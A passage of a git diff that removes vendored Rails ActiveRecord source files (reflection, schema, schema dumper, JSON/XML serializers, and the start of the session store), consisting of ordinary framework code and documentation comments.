-      # exception will be raised.
-      #
-      # Returns the newly created object.
-      def create_association!(*options)
-        klass.create!(*options)
-      end
-
-      def table_name
-        @table_name ||= klass.table_name
-      end
-
-      def quoted_table_name
-        @quoted_table_name ||= klass.quoted_table_name
-      end
-
-      def primary_key_name
-        @primary_key_name ||= options[:foreign_key] || derive_primary_key_name
-      end
-
-      def association_foreign_key
-        @association_foreign_key ||= @options[:association_foreign_key] || class_name.foreign_key
-      end
-
-      def counter_cache_column
-        if options[:counter_cache] == true
-          "#{active_record.name.demodulize.underscore.pluralize}_count"
-        elsif options[:counter_cache]
-          options[:counter_cache]
-        end
-      end
-
-      def columns(tbl_name, log_msg)
-        @columns ||= klass.connection.columns(tbl_name, log_msg)
-      end
-
-      def reset_column_information
-        @columns = nil
-      end
-
-      def check_validity!
-        check_validity_of_inverse!
-      end
-
-      def check_validity_of_inverse!
-        unless options[:polymorphic]
-          if has_inverse? && inverse_of.nil?
-            raise InverseOfAssociationNotFoundError.new(self)
-          end
-        end
-      end
-
-      def through_reflection
-        false
-      end
-
-      def through_reflection_primary_key_name
-      end
-
-      def source_reflection
-        nil
-      end
-
-      def has_inverse?
-        !@options[:inverse_of].nil?
-      end
-
-      def inverse_of
-        if has_inverse?
-          @inverse_of ||= klass.reflect_on_association(options[:inverse_of])
-        end
-      end
-
-      def polymorphic_inverse_of(associated_class)
-        if has_inverse?
-          if inverse_relationship = associated_class.reflect_on_association(options[:inverse_of])
-            inverse_relationship
-          else
-            raise InverseOfAssociationNotFoundError.new(self, associated_class)
-          end
-        end
-      end
-
-      # Returns whether or not this association reflection is for a collection
-      # association. Returns +true+ if the +macro+ is one of +has_many+ or
-      # +has_and_belongs_to_many+, +false+ otherwise.
-      def collection?
-        if @collection.nil?
-          @collection = [:has_many, :has_and_belongs_to_many].include?(macro)
-        end
-        @collection
-      end
-
-      # Returns whether or not the association should be validated as part of
-      # the parent's validation.
-      #
-      # Unless you explicitely disable validation with
-      # <tt>:validate => false</tt>, it will take place when:
-      #
-      # * you explicitely enable validation; <tt>:validate => true</tt>
-      # * you use autosave; <tt>:autosave => true</tt>
-      # * the association is a +has_many+ association
-      def validate?
-        !options[:validate].nil? ? options[:validate] : (options[:autosave] == true || macro == :has_many)
-      end
-
-      def dependent_conditions(record, base_class, extra_conditions)
-        dependent_conditions = []
-        dependent_conditions << "#{primary_key_name} = #{record.send(name).send(:owner_quoted_id)}"
-        dependent_conditions << "#{options[:as]}_type = '#{base_class.name}'" if options[:as]
-        dependent_conditions << klass.send(:sanitize_sql, options[:conditions]) if options[:conditions]
-        dependent_conditions = dependent_conditions.collect {|where| "(#{where})" }.join(" AND ")
-        dependent_conditions << extra_conditions if extra_conditions
-        dependent_conditions = dependent_conditions.gsub('@', '\@')
-        dependent_conditions
-      end
-
-      private
-        def derive_class_name
-          class_name = name.to_s.camelize
-          class_name = class_name.singularize if collection?
-          class_name
-        end
-
-        def derive_primary_key_name
-          if belongs_to?
-            "#{name}_id"
-          elsif options[:as]
-            "#{options[:as]}_id"
-          else
-            active_record.name.foreign_key
-          end
-        end
-    end
-
-    # Holds all the meta-data about a :through association as it was specified in the Active Record class.
-    class ThroughReflection < AssociationReflection #:nodoc:
-      # Gets the source of the through reflection.  It checks both a singularized and pluralized form for <tt>:belongs_to</tt> or <tt>:has_many</tt>.
-      # (The <tt>:tags</tt> association on Tagging below.)
-      #
-      #   class Post < ActiveRecord::Base
-      #     has_many :taggings
-      #     has_many :tags, :through => :taggings
-      #   end
-      #
-      def source_reflection
-        @source_reflection ||= source_reflection_names.collect { |name| through_reflection.klass.reflect_on_association(name) }.compact.first
-      end
-
-      # Returns the AssociationReflection object specified in the <tt>:through</tt> option
-      # of a HasManyThrough or HasOneThrough association. Example:
-      #
-      #   class Post < ActiveRecord::Base
-      #     has_many :taggings
-      #     has_many :tags, :through => :taggings
-      #   end
-      #
-      #   tags_reflection = Post.reflect_on_association(:tags)
-      #   taggings_reflection = tags_reflection.through_reflection
-      #
-      def through_reflection
-        @through_reflection ||= active_record.reflect_on_association(options[:through])
-      end
-
-      # Gets an array of possible <tt>:through</tt> source reflection names:
-      #
-      #   [:singularized, :pluralized]
-      #
-      def source_reflection_names
-        @source_reflection_names ||= (options[:source] ? [options[:source]] : [name.to_s.singularize, name]).collect { |n| n.to_sym }
-      end
-
-      def check_validity!
-        if through_reflection.nil?
-          raise HasManyThroughAssociationNotFoundError.new(active_record.name, self)
-        end
-
-        if source_reflection.nil?
-          raise HasManyThroughSourceAssociationNotFoundError.new(self)
-        end
-
-        if options[:source_type] && source_reflection.options[:polymorphic].nil?
-          raise HasManyThroughAssociationPointlessSourceTypeError.new(active_record.name, self, source_reflection)
-        end
-
-        if source_reflection.options[:polymorphic] && options[:source_type].nil?
-          raise HasManyThroughAssociationPolymorphicError.new(active_record.name, self, source_reflection)
-        end
-
-        unless [:belongs_to, :has_many, :has_one].include?(source_reflection.macro) && source_reflection.options[:through].nil?
-          raise HasManyThroughSourceAssociationMacroError.new(self)
-        end
-
-        check_validity_of_inverse!
-      end
-
-      def through_reflection_primary_key
-        through_reflection.belongs_to? ? through_reflection.klass.primary_key : through_reflection.primary_key_name
-      end
-
-      def through_reflection_primary_key_name
-        through_reflection.primary_key_name if through_reflection.belongs_to?
-      end
-
-      private
-        def derive_class_name
-          # get the class_name of the belongs_to association of the through reflection
-          options[:source_type] || source_reflection.class_name
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/schema.rb b/vendor/rails/activerecord/lib/active_record/schema.rb
deleted file mode 100644
index a996a0eb..00000000
--- a/vendor/rails/activerecord/lib/active_record/schema.rb
+++ /dev/null
@@ -1,55 +0,0 @@
-module ActiveRecord
-  # Allows programmers to programmatically define a schema in a portable
-  # DSL. This means you can define tables, indexes, etc. without using SQL
-  # directly, so your applications can more easily support multiple
-  # databases.
-  #
-  # Usage:
-  #
-  #   ActiveRecord::Schema.define do
-  #     create_table :authors do |t|
-  #       t.string :name, :null => false
-  #     end
-  #
-  #     add_index :authors, :name, :unique
-  #
-  #     create_table :posts do |t|
-  #       t.integer :author_id, :null => false
-  #       t.string :subject
-  #       t.text :body
-  #       t.boolean :private, :default => false
-  #     end
-  #
-  #     add_index :posts, :author_id
-  #   end
-  #
-  # ActiveRecord::Schema is only supported by database adapters that also
-  # support migrations, the two features being very similar.
-  class Schema < Migration
-    private_class_method :new
-
-    def self.migrations_path
-      ActiveRecord::Migrator.migrations_path
-    end
-
-    # Eval the given block. All methods available to the current connection
-    # adapter are available within the block, so you can easily use the
-    # database definition DSL to build up your schema (+create_table+,
-    # +add_index+, etc.).
-    #
-    # The +info+ hash is optional, and if given is used to define metadata
-    # about the current schema (currently, only the schema's version):
-    #
-    #   ActiveRecord::Schema.define(:version => 20380119000001) do
-    #     ...
-    #   end
-    def self.define(info={}, &block)
-      instance_eval(&block)
-
-      unless info[:version].blank?
-        initialize_schema_migrations_table
-        assume_migrated_upto_version(info[:version], migrations_path)
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/schema_dumper.rb b/vendor/rails/activerecord/lib/active_record/schema_dumper.rb
deleted file mode 100644
index 1a21f86c..00000000
--- a/vendor/rails/activerecord/lib/active_record/schema_dumper.rb
+++ /dev/null
@@ -1,185 +0,0 @@
-require 'stringio'
-require 'bigdecimal'
-
-module ActiveRecord
-  # This class is used to dump the database schema for some connection to some
-  # output format (i.e., ActiveRecord::Schema).
-  class SchemaDumper #:nodoc:
-    private_class_method :new
-    
-    ##
-    # :singleton-method:
-    # A list of tables which should not be dumped to the schema. 
-    # Acceptable values are strings as well as regexp.
-    # This setting is only used if ActiveRecord::Base.schema_format == :ruby
-    cattr_accessor :ignore_tables 
-    @@ignore_tables = []
-
-    def self.dump(connection=ActiveRecord::Base.connection, stream=STDOUT)
-      new(connection).dump(stream)
-      stream
-    end
-
-    def dump(stream)
-      header(stream)
-      tables(stream)
-      trailer(stream)
-      stream
-    end
-
-    private
-
-      def initialize(connection)
-        @connection = connection
-        @types = @connection.native_database_types
-        @version = Migrator::current_version rescue nil
-      end
-
-      def header(stream)
-        define_params = @version ? ":version => #{@version}" : ""
-
-        stream.puts <<HEADER
-# This file is auto-generated from the current state of the database. Instead of editing this file, 
-# please use the migrations feature of Active Record to incrementally modify your database, and
-# then regenerate this schema definition.
-#
-# Note that this schema.rb definition is the authoritative source for your database schema. If you need
-# to create the application database on another system, you should be using db:schema:load, not running
-# all the migrations from scratch. The latter is a flawed and unsustainable approach (the more migrations
-# you'll amass, the slower it'll run and the greater likelihood for issues).
-#
-# It's strongly recommended to check this file into your version control system.
-
-ActiveRecord::Schema.define(#{define_params}) do
-
-HEADER
-      end
-
-      def trailer(stream)
-        stream.puts "end"
-      end
-
-      def tables(stream)
-        @connection.tables.sort.each do |tbl|
-          next if ['schema_migrations', ignore_tables].flatten.any? do |ignored|
-            case ignored
-            when String; tbl == ignored
-            when Regexp; tbl =~ ignored
-            else
-              raise StandardError, 'ActiveRecord::SchemaDumper.ignore_tables accepts an array of String and / or Regexp values.'
-            end
-          end 
-          table(tbl, stream)
-        end
-      end
-
-      def table(table, stream)
-        columns = @connection.columns(table)
-        begin
-          tbl = StringIO.new
-
-          # first dump primary key column
-          if @connection.respond_to?(:pk_and_sequence_for)
-            pk, pk_seq = @connection.pk_and_sequence_for(table)
-          elsif @connection.respond_to?(:primary_key)
-            pk = @connection.primary_key(table)
-          end
-          
-          tbl.print "  create_table #{table.inspect}"
-          if columns.detect { |c| c.name == pk }
-            if pk != 'id'
-              tbl.print %Q(, :primary_key => "#{pk}")
-            end
-          else
-            tbl.print ", :id => false"
-          end
-          tbl.print ", :force => true"
-          tbl.puts " do |t|"
-
-          # then dump all non-primary key columns
-          column_specs = columns.map do |column|
-            raise StandardError, "Unknown type '#{column.sql_type}' for column '#{column.name}'" if @types[column.type].nil?
-            next if column.name == pk
-            spec = {}
-            spec[:name]      = column.name.inspect
-            spec[:type]      = column.type.to_s
-            spec[:limit]     = column.limit.inspect if column.limit != @types[column.type][:limit] && column.type != :decimal
-            spec[:precision] = column.precision.inspect if !column.precision.nil?
-            spec[:scale]     = column.scale.inspect if !column.scale.nil?
-            spec[:null]      = 'false' if !column.null
-            spec[:default]   = default_string(column.default) if column.has_default?
-            (spec.keys - [:name, :type]).each{ |k| spec[k].insert(0, "#{k.inspect} => ")}
-            spec
-          end.compact
-
-          # find all migration keys used in this table
-          keys = [:name, :limit, :precision, :scale, :default, :null] & column_specs.map(&:keys).flatten
-
-          # figure out the lengths for each column based on above keys
-          lengths = keys.map{ |key| column_specs.map{ |spec| spec[key] ? spec[key].length + 2 : 0 }.max }
-
-          # the string we're going to sprintf our values against, with standardized column widths
-          format_string = lengths.map{ |len| "%-#{len}s" }
-
-          # find the max length for the 'type' column, which is special
-          type_length = column_specs.map{ |column| column[:type].length }.max
-
-          # add column type definition to our format string
-          format_string.unshift "    t.%-#{type_length}s "
-
-          format_string *= ''
-
-          column_specs.each do |colspec|
-            values = keys.zip(lengths).map{ |key, len| colspec.key?(key) ? colspec[key] + ", " : " " * len }
-            values.unshift colspec[:type]
-            tbl.print((format_string % values).gsub(/,\s*$/, ''))
-            tbl.puts
-          end
-
-          tbl.puts "  end"
-          tbl.puts
-          
-          indexes(table, tbl)
-
-          tbl.rewind
-          stream.print tbl.read
-        rescue => e
-          stream.puts "# Could not dump table #{table.inspect} because of following #{e.class}"
-          stream.puts "#   #{e.message}"
-          stream.puts
-        end
-        
-        stream
-      end
-
-      def default_string(value)
-        case value
-        when BigDecimal
-          value.to_s
-        when Date, DateTime, Time
-          "'" + value.to_s(:db) + "'"
-        else
-          value.inspect
-        end
-      end
-      
-      def indexes(table, stream)
-        if (indexes = @connection.indexes(table)).any?
-          add_index_statements = indexes.map do |index|
-            statment_parts = [ ('add_index ' + index.table.inspect) ]
-            statment_parts << index.columns.inspect
-            statment_parts << (':name => ' + index.name.inspect)
-            statment_parts << ':unique => true' if index.unique
-
-            index_lengths = index.lengths.compact if index.lengths.is_a?(Array)
-            statment_parts << (':length => ' + Hash[*index.columns.zip(index.lengths).flatten].inspect) if index_lengths.present?
-
-            '  ' + statment_parts.join(', ')
-          end
-
-          stream.puts add_index_statements.sort.join("\n")
-          stream.puts
-        end
-      end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/serialization.rb b/vendor/rails/activerecord/lib/active_record/serialization.rb
deleted file mode 100644
index 4e2081ec..00000000
--- a/vendor/rails/activerecord/lib/active_record/serialization.rb
+++ /dev/null
@@ -1,101 +0,0 @@
-require 'active_support/json'
-
-module ActiveRecord #:nodoc:
-  module Serialization
-    class Serializer #:nodoc:
-      attr_reader :options
-
-      def initialize(record, options = nil)
-        @record = record
-        @options = options ? options.dup : {}
-      end
-
-      # To replicate the behavior in ActiveRecord#attributes,
-      # <tt>:except</tt> takes precedence over <tt>:only</tt>.  If <tt>:only</tt> is not set
-      # for a N level model but is set for the N+1 level models,
-      # then because <tt>:except</tt> is set to a default value, the second
-      # level model can have both <tt>:except</tt> and <tt>:only</tt> set.  So if
-      # <tt>:only</tt> is set, always delete <tt>:except</tt>.
-      def serializable_attribute_names
-        attribute_names = @record.attribute_names
-
-        if options[:only]
-          options.delete(:except)
-          attribute_names = attribute_names & Array(options[:only]).collect { |n| n.to_s }
-        else
-          options[:except] = Array(options[:except]) | Array(@record.class.inheritance_column)
-          attribute_names = attribute_names - options[:except].collect { |n| n.to_s }
-        end
-
-        attribute_names
-      end
-
-      def serializable_method_names
-        Array(options[:methods]).inject([]) do |method_attributes, name|
-          method_attributes << name if @record.respond_to?(name.to_s)
-          method_attributes
-        end
-      end
-
-      def serializable_names
-        serializable_attribute_names + serializable_method_names
-      end
-
-      # Add associations specified via the <tt>:includes</tt> option.
-      # Expects a block that takes as arguments:
-      #   +association+ - name of the association
-      #   +records+     - the association record(s) to be serialized
-      #   +opts+        - options for the association records
-      def add_includes(&block)
-        if include_associations = options.delete(:include)
-          base_only_or_except = { :except => options[:except],
-                                  :only => options[:only] }
-
-          include_has_options = include_associations.is_a?(Hash)
-          associations = include_has_options ? include_associations.keys : Array(include_associations)
-
-          for association in associations
-            records = case @record.class.reflect_on_association(association).macro
-            when :has_many, :has_and_belongs_to_many
-              @record.send(association).to_a
-            when :has_one, :belongs_to
-              @record.send(association)
-            end
-
-            unless records.nil?
-              association_options = include_has_options ? include_associations[association] : base_only_or_except
-              opts = options.merge(association_options)
-              yield(association, records, opts)
-            end
-          end
-
-          options[:include] = include_associations
-        end
-      end
-
-      def serializable_record
-        {}.tap do |serializable_record|
-          serializable_names.each { |name| serializable_record[name] = @record.send(name) }
-          add_includes do |association, records, opts|
-            if records.is_a?(Enumerable)
-              serializable_record[association] = records.collect { |r| self.class.new(r, opts).serializable_record }
-            else
-              serializable_record[association] = self.class.new(records, opts).serializable_record
-            end
-          end
-        end
-      end
-
-      def serialize
-        # overwrite to implement
-      end
-
-      def to_s(&block)
-        serialize(&block)
-      end
-    end
-  end
-end
-
-require 'active_record/serializers/xml_serializer'
-require 'active_record/serializers/json_serializer'
diff --git a/vendor/rails/activerecord/lib/active_record/serializers/json_serializer.rb b/vendor/rails/activerecord/lib/active_record/serializers/json_serializer.rb
deleted file mode 100644
index 5d493816..00000000
--- a/vendor/rails/activerecord/lib/active_record/serializers/json_serializer.rb
+++ /dev/null
@@ -1,91 +0,0 @@
-require 'active_support/json'
-require 'active_support/core_ext/module/model_naming'
-
-module ActiveRecord #:nodoc:
-  module Serialization
-    def self.included(base)
-      base.cattr_accessor :include_root_in_json, :instance_writer => false
-    end
-
-    # Returns a JSON string representing the model. Some configuration is
-    # available through +options+.
-    #
-    # The option <tt>ActiveRecord::Base.include_root_in_json</tt> controls the
-    # top-level behavior of to_json. In a new Rails application, it is set to 
-    # <tt>true</tt> in initializers/new_rails_defaults.rb. When it is <tt>true</tt>,
-    # to_json will emit a single root node named after the object's type. For example:
-    #
-    #   konata = User.find(1)
-    #   ActiveRecord::Base.include_root_in_json = true
-    #   konata.to_json
-    #   # => { "user": {"id": 1, "name": "Konata Izumi", "age": 16,
-    #                   "created_at": "2006/08/01", "awesome": true} }
-    #
-    #   ActiveRecord::Base.include_root_in_json = false
-    #   konata.to_json
-    #   # => {"id": 1, "name": "Konata Izumi", "age": 16,
-    #         "created_at": "2006/08/01", "awesome": true}
-    #
-    # The remainder of the examples in this section assume include_root_in_json is set to
-    # <tt>false</tt>.
-    #
-    # Without any +options+, the returned JSON string will include all
-    # the model's attributes. For example:
-    #
-    #   konata = User.find(1)
-    #   konata.to_json
-    #   # => {"id": 1, "name": "Konata Izumi", "age": 16,
-    #         "created_at": "2006/08/01", "awesome": true}
-    #
-    # The <tt>:only</tt> and <tt>:except</tt> options can be used to limit the attributes
-    # included, and work similar to the +attributes+ method. For example:
-    #
-    #   konata.to_json(:only => [ :id, :name ])
-    #   # => {"id": 1, "name": "Konata Izumi"}
-    #
-    #   konata.to_json(:except => [ :id, :created_at, :age ])
-    #   # => {"name": "Konata Izumi", "awesome": true}
-    #
-    # To include any methods on the model, use <tt>:methods</tt>.
-    #
-    #   konata.to_json(:methods => :permalink)
-    #   # => {"id": 1, "name": "Konata Izumi", "age": 16,
-    #         "created_at": "2006/08/01", "awesome": true,
-    #         "permalink": "1-konata-izumi"}
-    #
-    # To include associations, use <tt>:include</tt>.
-    #
-    #   konata.to_json(:include => :posts)
-    #   # => {"id": 1, "name": "Konata Izumi", "age": 16,
-    #         "created_at": "2006/08/01", "awesome": true,
-    #         "posts": [{"id": 1, "author_id": 1, "title": "Welcome to the weblog"},
-    #                   {"id": 2, author_id: 1, "title": "So I was thinking"}]}
-    #
-    # 2nd level and higher order associations work as well:
-    #
-    #   konata.to_json(:include => { :posts => {
-    #                                  :include => { :comments => {
-    #                                                :only => :body } },
-    #                                  :only => :title } })
-    #   # => {"id": 1, "name": "Konata Izumi", "age": 16,
-    #         "created_at": "2006/08/01", "awesome": true,
-    #         "posts": [{"comments": [{"body": "1st post!"}, {"body": "Second!"}],
-    #                    "title": "Welcome to the weblog"},
-    #                   {"comments": [{"body": "Don't think too hard"}],
-    #                    "title": "So I was thinking"}]}
-    def to_json(options = {})
-      super
-    end
-
-    def as_json(options = nil) #:nodoc:
-      hash = Serializer.new(self, options).serializable_record
-      hash = { options[:root] || self.class.model_name.element => hash } if include_root_in_json
-      hash
-    end
-
-    def from_json(json)
-      self.attributes = ActiveSupport::JSON.decode(json)
-      self
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/serializers/xml_serializer.rb b/vendor/rails/activerecord/lib/active_record/serializers/xml_serializer.rb
deleted file mode 100644
index 9bf11930..00000000
--- a/vendor/rails/activerecord/lib/active_record/serializers/xml_serializer.rb
+++ /dev/null
@@ -1,357 +0,0 @@
-module ActiveRecord #:nodoc:
-  module Serialization
-    # Builds an XML document to represent the model. Some configuration is
-    # available through +options+. However more complicated cases should
-    # override ActiveRecord::Base#to_xml.
-    #
-    # By default the generated XML document will include the processing
-    # instruction and all the object's attributes. For example:
-    #
-    #   <?xml version="1.0" encoding="UTF-8"?>
-    #   <topic>
-    #     <title>The First Topic</title>
-    #     <author-name>David</author-name>
-    #     <id type="integer">1</id>
-    #     <approved type="boolean">false</approved>
-    #     <replies-count type="integer">0</replies-count>
-    #     <bonus-time type="datetime">2000-01-01T08:28:00+12:00</bonus-time>
-    #     <written-on type="datetime">2003-07-16T09:28:00+1200</written-on>
-    #     <content>Have a nice day</content>
-    #     <author-email-address>david@loudthinking.com</author-email-address>
-    #     <parent-id></parent-id>
-    #     <last-read type="date">2004-04-15</last-read>
-    #   </topic>
-    #
-    # This behavior can be controlled with <tt>:only</tt>, <tt>:except</tt>,
-    # <tt>:skip_instruct</tt>, <tt>:skip_types</tt>, <tt>:dasherize</tt> and <tt>:camelize</tt> .
-    # The <tt>:only</tt> and <tt>:except</tt> options are the same as for the
-    # +attributes+ method. The default is to dasherize all column names, but you
-    # can disable this setting <tt>:dasherize</tt> to +false+. Setting <tt>:camelize</tt>
-    # to +true+ will camelize all column names - this also overrides <tt>:dasherize</tt>.
-    # To not have the column type included in the XML output set <tt>:skip_types</tt> to +true+.
-    #
-    # For instance:
-    #
-    #   topic.to_xml(:skip_instruct => true, :except => [ :id, :bonus_time, :written_on, :replies_count ])
-    #
-    #   <topic>
-    #     <title>The First Topic</title>
-    #     <author-name>David</author-name>
-    #     <approved type="boolean">false</approved>
-    #     <content>Have a nice day</content>
-    #     <author-email-address>david@loudthinking.com</author-email-address>
-    #     <parent-id></parent-id>
-    #     <last-read type="date">2004-04-15</last-read>
-    #   </topic>
-    #
-    # To include first level associations use <tt>:include</tt>:
-    #
-    #   firm.to_xml :include => [ :account, :clients ]
-    #
-    #   <?xml version="1.0" encoding="UTF-8"?>
-    #   <firm>
-    #     <id type="integer">1</id>
-    #     <rating type="integer">1</rating>
-    #     <name>37signals</name>
-    #     <clients type="array">
-    #       <client>
-    #         <rating type="integer">1</rating>
-    #         <name>Summit</name>
-    #       </client>
-    #       <client>
-    #         <rating type="integer">1</rating>
-    #         <name>Microsoft</name>
-    #       </client>
-    #     </clients>
-    #     <account>
-    #       <id type="integer">1</id>
-    #       <credit-limit type="integer">50</credit-limit>
-    #     </account>
-    #   </firm>
-    #
-    # To include deeper levels of associations pass a hash like this:
-    #
-    #   firm.to_xml :include => {:account => {}, :clients => {:include => :address}}
-    #   <?xml version="1.0" encoding="UTF-8"?>
-    #   <firm>
-    #     <id type="integer">1</id>
-    #     <rating type="integer">1</rating>
-    #     <name>37signals</name>
-    #     <clients type="array">
-    #       <client>
-    #         <rating type="integer">1</rating>
-    #         <name>Summit</name>
-    #         <address>
-    #           ...
-    #         </address>
-    #       </client>
-    #       <client>
-    #         <rating type="integer">1</rating>
-    #         <name>Microsoft</name>
-    #         <address>
-    #           ...
-    #         </address>
-    #       </client>
-    #     </clients>
-    #     <account>
-    #       <id type="integer">1</id>
-    #       <credit-limit type="integer">50</credit-limit>
-    #     </account>
-    #   </firm>
-    #
-    # To include any methods on the model being called use <tt>:methods</tt>:
-    #
-    #   firm.to_xml :methods => [ :calculated_earnings, :real_earnings ]
-    #
-    #   <firm>
-    #     # ... normal attributes as shown above ...
-    #     <calculated-earnings>100000000000000000</calculated-earnings>
-    #     <real-earnings>5</real-earnings>
-    #   </firm>
-    #
-    # To call any additional Procs use <tt>:procs</tt>. The Procs are passed a
-    # modified version of the options hash that was given to +to_xml+:
-    #
-    #   proc = Proc.new { |options| options[:builder].tag!('abc', 'def') }
-    #   firm.to_xml :procs => [ proc ]
-    #
-    #   <firm>
-    #     # ... normal attributes as shown above ...
-    #     <abc>def</abc>
-    #   </firm>
-    #
-    # Alternatively, you can yield the builder object as part of the +to_xml+ call:
-    #
-    #   firm.to_xml do |xml|
-    #     xml.creator do
-    #       xml.first_name "David"
-    #       xml.last_name "Heinemeier Hansson"
-    #     end
-    #   end
-    #
-    #   <firm>
-    #     # ... normal attributes as shown above ...
-    #     <creator>
-    #       <first_name>David</first_name>
-    #       <last_name>Heinemeier Hansson</last_name>
-    #     </creator>
-    #   </firm>
-    #
-    # As noted above, you may override +to_xml+ in your ActiveRecord::Base
-    # subclasses to have complete control about what's generated. The general
-    # form of doing this is:
-    #
-    #   class IHaveMyOwnXML < ActiveRecord::Base
-    #     def to_xml(options = {})
-    #       options[:indent] ||= 2
-    #       xml = options[:builder] ||= Builder::XmlMarkup.new(:indent => options[:indent])
-    #       xml.instruct! unless options[:skip_instruct]
-    #       xml.level_one do
-    #         xml.tag!(:second_level, 'content')
-    #       end
-    #     end
-    #   end
-    def to_xml(options = {}, &block)
-      serializer = XmlSerializer.new(self, options)
-      block_given? ? serializer.to_s(&block) : serializer.to_s
-    end
-
-    def from_xml(xml)
-      self.attributes = Hash.from_xml(xml).values.first
-      self
-    end
-  end
-
-  class XmlSerializer < ActiveRecord::Serialization::Serializer #:nodoc:
-    def builder
-      @builder ||= begin
-        options[:indent] ||= 2
-        builder = options[:builder] ||= Builder::XmlMarkup.new(:indent => options[:indent])
-
-        unless options[:skip_instruct]
-          builder.instruct!
-          options[:skip_instruct] = true
-        end
-
-        builder
-      end
-    end
-
-    def root
-      root = (options[:root] || @record.class.model_name.singular).to_s
-      reformat_name(root)
-    end
-
-    def dasherize?
-      !options.has_key?(:dasherize) || options[:dasherize]
-    end
-
-    def camelize?
-      options.has_key?(:camelize) && options[:camelize]
-    end
-
-    def reformat_name(name)
-      name = name.camelize if camelize?
-      dasherize? ? name.dasherize : name
-    end
-
-    def serializable_attributes
-      serializable_attribute_names.collect { |name| Attribute.new(name, @record) }
-    end
-
-    def serializable_method_attributes
-      Array(options[:methods]).inject([]) do |method_attributes, name|
-        method_attributes << MethodAttribute.new(name.to_s, @record) if @record.respond_to?(name.to_s)
-        method_attributes
-      end
-    end
-
-    def add_attributes
-      (serializable_attributes + serializable_method_attributes).each do |attribute|
-        add_tag(attribute)
-      end
-    end
-
-    def add_procs
-      if procs = options.delete(:procs)
-        [ *procs ].each do |proc|
-          proc.call(options)
-        end
-      end
-    end
-
-    def add_tag(attribute)
-      builder.tag!(
-        reformat_name(attribute.name),
-        attribute.value.to_s,
-        attribute.decorations(!options[:skip_types])
-      )
-    end
-
-    def add_associations(association, records, opts)
-      if records.is_a?(Enumerable)
-        tag = reformat_name(association.to_s)
-        type = options[:skip_types] ? {} : {:type => "array"}
-
-        if records.empty?
-          builder.tag!(tag, type)
-        else
-          builder.tag!(tag, type) do
-            association_name = association.to_s.singularize
-            records.each do |record|
-              if options[:skip_types]
-                record_type = {}
-              else
-                record_class = (record.class.to_s.underscore == association_name) ? nil : record.class.name
-                record_type = {:type => record_class}
-              end
-
-              record.to_xml opts.merge(:root => association_name).merge(record_type)
-            end
-          end
-        end
-      else
-        if record = @record.send(association)
-          record.to_xml(opts.merge(:root => association))
-        end
-      end
-    end
-
-    def serialize
-      args = [root]
-      if options[:namespace]
-        args << {:xmlns=>options[:namespace]}
-      end
-
-      if options[:type]
-        args << {:type=>options[:type]}
-      end
-
-      builder.tag!(*args) do
-        add_attributes
-        procs = options.delete(:procs)
-        add_includes { |association, records, opts| add_associations(association, records, opts) }
-        options[:procs] = procs
-        add_procs
-        yield builder if block_given?
-      end
-    end
-
-    class Attribute #:nodoc:
-      attr_reader :name, :value, :type
-
-      def initialize(name, record)
-        @name, @record = name, record
-
-        @type  = compute_type
-        @value = compute_value
-      end
-
-      # There is a significant speed improvement if the value
-      # does not need to be escaped, as <tt>tag!</tt> escapes all values
-      # to ensure that valid XML is generated. For known binary
-      # values, it is at least an order of magnitude faster to
-      # Base64 encode binary values and directly put them in the
-      # output XML than to pass the original value or the Base64
-      # encoded value to the <tt>tag!</tt> method. It definitely makes
-      # no sense to Base64 encode the value and then give it to
-      # <tt>tag!</tt>, since that just adds additional overhead.
-      def needs_encoding?
-        ![ :binary, :date, :datetime, :boolean, :float, :integer ].include?(type)
-      end
-
-      def decorations(include_types = true)
-        decorations = {}
-
-        if type == :binary
-          decorations[:encoding] = 'base64'
-        end
-
-        if include_types && type != :string
-          decorations[:type] = type
-        end
-
-        if value.nil?
-          decorations[:nil] = true
-        end
-
-        decorations
-      end
-
-      protected
-        def compute_type
-          type = if @record.class.serialized_attributes.has_key?(name)
-                   :yaml
-                 else
-                   @record.class.columns_hash[name].try(:type)
-                 end
-
-          case type
-            when :text
-              :string
-            when :time
-              :datetime
-            else
-              type
-          end
-        end
-
-        def compute_value
-          value = @record.send(name)
-
-          if formatter = Hash::XML_FORMATTING[type.to_s]
-            value ? formatter.call(value) : nil
-          else
-            value
-          end
-        end
-    end
-
-    class MethodAttribute < Attribute #:nodoc:
-      protected
-        def compute_type
-          Hash::XML_TYPE_NAMES[@record.send(name).class.name] || :string
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/session_store.rb b/vendor/rails/activerecord/lib/active_record/session_store.rb
deleted file mode 100644
index d6d0c6e1..00000000
--- a/vendor/rails/activerecord/lib/active_record/session_store.rb
+++ /dev/null
@@ -1,334 +0,0 @@
-module ActiveRecord
-  # A session store backed by an Active Record class.  A default class is
-  # provided, but any object duck-typing to an Active Record Session class
-  # with text +session_id+ and +data+ attributes is sufficient.
-  #
-  # The default assumes a +sessions+ tables with columns:
-  #   +id+ (numeric primary key),
-  #   +session_id+ (text, or longtext if your session data exceeds 65K), and
-  #   +data+ (text or longtext; careful if your session data exceeds 65KB).
-  # The +session_id+ column should always be indexed for speedy lookups.
-  # Session data is marshaled to the +data+ column in Base64 format.
-  # If the data you write is larger than the column's size limit,
-  # ActionController::SessionOverflowError will be raised.
-  #
-  # You may configure the table name, primary key, and data column.
-  # For example, at the end of <tt>config/environment.rb</tt>:
-  #   ActiveRecord::SessionStore::Session.table_name = 'legacy_session_table'
-  #   ActiveRecord::SessionStore::Session.primary_key = 'session_id'
-  #   ActiveRecord::SessionStore::Session.data_column_name = 'legacy_session_data'
-  # Note that setting the primary key to the +session_id+ frees you from
-  # having a separate +id+ column if you don't want it.  However, you must
-  # set <tt>session.model.id = session.session_id</tt> by hand!  A before filter
-  # on ApplicationController is a good place.
-  #
-  # Since the default class is a simple Active Record, you get timestamps
-  # for free if you add +created_at+ and +updated_at+ datetime columns to
-  # the +sessions+ table, making periodic session expiration a snap.
-  #
-  # You may provide your own session class implementation, whether a
-  # feature-packed Active Record or a bare-metal high-performance SQL
-  # store, by setting
-  #   ActiveRecord::SessionStore.session_class = MySessionClass
-  # You must implement these methods:
-  #   self.find_by_session_id(session_id)
-  #   initialize(hash_of_session_id_and_data)
-  #   attr_reader :session_id
-  #   attr_accessor :data
-  #   save
-  #   destroy
-  #
-  # The example SqlBypass class is a generic SQL session store.  You may
